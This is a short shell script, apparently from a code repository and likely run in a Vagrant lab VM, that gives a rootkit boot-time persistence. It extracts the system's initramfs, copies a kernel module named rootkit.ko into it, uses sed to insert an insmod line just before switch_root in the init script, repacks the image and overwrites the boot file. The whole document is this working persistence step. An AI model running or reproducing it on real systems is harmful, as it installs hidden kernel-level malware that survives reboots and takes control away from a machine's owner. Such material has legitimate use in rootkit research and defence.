16 lines
522 B
Bash
16 lines
522 B
Bash
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#!/usr/bin/env sh
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set -eu
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mkdir /tmp/initrfs && cd $_
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LINE="# this should always be the last thing we do before the switch_root."
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FILE="/boot/initramfs-linux.img"
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if [[ -f /boot/initramfs-linux-lts.img ]]; then
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FILE="/boot/initramfs-linux-lts.img"
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fi
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lsinitcpio -x $FILE
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cp /home/vagrant/rk/rootkit.ko /tmp/initrfs/BOOM_rk.ko
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sed -i "/$LINE/ { N; s/$LINE\n/insmod \/BOOM_rk.ko\n&/ }" /tmp/initrfs/init
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find -mindepth 1 -printf '%P\0' | LANG=C bsdcpio -0 -o -H newc --quiet | gzip > /tmp/init.img
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cp /tmp/init.img $FILE
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